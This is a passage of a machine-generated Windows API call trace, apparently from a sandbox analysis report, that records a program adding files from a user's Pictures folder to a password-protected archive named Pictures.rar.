hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.231] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.231] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.232] ResetEvent (hEvent=0x344) returned 1 [0064.232] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.233] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.233] ResetEvent (hEvent=0x344) returned 1 [0064.233] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.234] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.234] GetTickCount () returned 0x25f8b [0064.234] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15556310925) returned 1 [0064.235] GetTickCount () returned 0x25f8b [0064.235] GetTickCount () returned 0x25f8b [0064.235] GetTickCount () returned 0x25f8b [0064.235] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.235] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.235] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.235] ResetEvent (hEvent=0x33c) returned 1 [0064.235] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.236] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.236] ResetEvent (hEvent=0x33c) returned 1 [0064.236] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.237] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.237] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.237] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.237] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x43edd [0064.237] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x43f3e [0064.237] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.237] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.237] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.237] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.237] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xa620, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xa620, lpOverlapped=0x0) returned 1 [0064.238] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.238] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.238] SetFilePointer (in: hFile=0x32c, lDistanceToMove=278237, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x43edd [0064.238] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x43edd [0064.238] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0064.238] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f8d0 [0064.238] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f8d0, Size=0x48) returned 0x28b084f98e0 [0064.238] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.238] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.238] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9ca0 [0064.238] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.238] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0064.238] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0064.238] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.238] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0064.238] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0064.238] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9de0 [0064.238] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9de0, Size=0x7a) returned 0x28b084ed6d0 [0064.238] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed6d3*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed6d3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x61, lpOverlapped=0x0) returned 1 [0064.239] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f780 [0064.239] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x61) returned 0x28b084631a0 [0064.239] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9ca0 | out: hHeap=0x28b08430000) returned 1 [0064.239] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed6d0 | out: hHeap=0x28b08430000) returned 1 [0064.239] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x4e55e [0064.239] CloseHandle (hObject=0x350) returned 1 [0064.239] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.239] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.239] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.239] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.239] FindFirstFileW (in: lpFileName="A4ii4MOpBgpQwQBT.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eedf0 [0064.239] FindClose (in: hFindFile=0x28b0c0eedf0 | out: hFindFile=0x28b0c0eedf0) returned 1 [0064.239] CreateFileW (lpFileName="A4ii4MOpBgpQwQBT.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\a4ii4mopbgpqwqbt.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.239] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.239] GetTickCount () returned 0x25f8b [0064.239] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.239] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.239] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.239] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.239] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="9BtQRHA1y.gif") returned 13 [0064.239] SetWindowTextW (hWnd=0x102c6, lpString="A4ii4MOpBgpQwQBT.jpg") returned 1 [0064.240] GetTickCount () returned 0x25f8b [0064.240] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.240] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.240] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.240] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.240] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x2d5)) [0064.240] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.240] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15556911962) returned 1 [0064.241] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x155ee, lpOverlapped=0x0) returned 1 [0064.241] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b72162e, nNumberOfBytesToRead=0xeaa12, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b72162e*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.241] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.241] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0064.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f8d0 [0064.241] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f8d0, Size=0x48) returned 0x28b084f9980 [0064.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.241] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f98e0 [0064.241] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.241] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0064.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f750 [0064.241] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0064.241] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f720 | out: hHeap=0x28b08430000) returned 1 [0064.241] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f750 | out: hHeap=0x28b08430000) returned 1 [0064.241] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7e0, Size=0x48) returned 0x28b084f9020 [0064.241] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9020, Size=0x7a) returned 0x28b084ed1c0 [0064.241] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0064.241] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed1c0 | out: hHeap=0x28b08430000) returned 1 [0064.241] GetTickCount () returned 0x25f8b [0064.241] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15557007078) returned 1 [0064.241] GetTickCount () returned 0x25f8b [0064.242] GetTickCount () returned 0x25f8b [0064.242] GetTickCount () returned 0x25f8b [0064.242] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.242] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.242] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.242] ResetEvent (hEvent=0x344) returned 1 [0064.242] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.243] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.243] ResetEvent (hEvent=0x344) returned 1 [0064.243] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.247] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.247] ResetEvent (hEvent=0x344) returned 1 [0064.247] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.252] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.253] GetTickCount () returned 0x25f9a [0064.253] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15558169755) returned 1 [0064.253] GetTickCount () returned 0x25f9a [0064.253] GetTickCount () returned 0x25f9a [0064.253] GetTickCount () returned 0x25f9a [0064.253] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0064.253] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0064.253] GetFocus () returned 0x102e2 [0064.253] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0064.253] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0064.254] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0064.254] GetFocus () returned 0x102e2 [0064.254] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0064.255] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.255] ResetEvent (hEvent=0x33c) returned 1 [0064.255] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.394] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.394] ResetEvent (hEvent=0x33c) returned 1 [0064.394] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.395] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.395] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0064.400] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0064.400] GetFocus () returned 0x102e2 [0064.400] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0064.400] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.400] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x4e55e [0064.400] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x4e5c6 [0064.400] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.401] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.401] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.401] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.401] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x156b0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x156b0, lpOverlapped=0x0) returned 1 [0064.402] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0064.402] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0064.402] GetFocus () returned 0x102e2 [0064.402] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0064.403] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.403] SetFilePointer (in: hFile=0x32c, lDistanceToMove=320862, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x4e55e [0064.403] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x4e55e [0064.403] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f840 [0064.403] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.403] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9520 [0064.403] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.403] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f660 [0064.403] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f660, Size=0x48) returned 0x28b084f98e0 [0064.403] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.403] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9520 | out: hHeap=0x28b08430000) returned 1 [0064.404] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f660 [0064.404] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0064.404] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0064.404] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f660 | out: hHeap=0x28b08430000) returned 1 [0064.404] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f840, Size=0x48) returned 0x28b084f9660 [0064.404] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9660, Size=0x7a) returned 0x28b084ed7f0 [0064.404] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed7f3*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed7f3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x68, lpOverlapped=0x0) returned 1 [0064.404] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f8d0 [0064.404] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x68) returned 0x28b084630c0 [0064.404] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0064.404] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed7f0 | out: hHeap=0x28b08430000) returned 1 [0064.404] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x63c76 [0064.404] CloseHandle (hObject=0x350) returned 1 [0064.404] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.404] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.404] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.404] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.404] FindFirstFileW (in: lpFileName="aHz4Hx-PBeuX.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0edfb0 [0064.404] FindClose (in: hFindFile=0x28b0c0edfb0 | out: hFindFile=0x28b0c0edfb0) returned 1 [0064.404] CreateFileW (lpFileName="aHz4Hx-PBeuX.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ahz4hx-pbeux.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.404] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.404] GetTickCount () returned 0x26037 [0064.404] GetLastError () returned 0x0 [0064.404] SetLastError (dwErrCode=0x0) [0064.404] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0064.404] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0064.405] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbd40, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0064.405] SetWindowTextW (hWnd=0x102c8, lpString=" 0%") returned 1 [0064.405] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0064.406] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.406] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.406] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.406] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.406] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="A4ii4MOpBgpQwQBT.jpg") returned 20 [0064.406] SetWindowTextW (hWnd=0x102c6, lpString="aHz4Hx-PBeuX.png") returned 1 [0064.407] GetTickCount () returned 0x26037 [0064.407] UpdateWindow (hWnd=0x102be) returned 1 [0064.407] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.407] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.407] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.407] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.407] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x381)) [0064.407] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.407] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15573580648) returned 1 [0064.407] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x1404d, lpOverlapped=0x0) returned 1 [0064.408] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b72008d, nNumberOfBytesToRead=0xebfb3, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b72008d*, 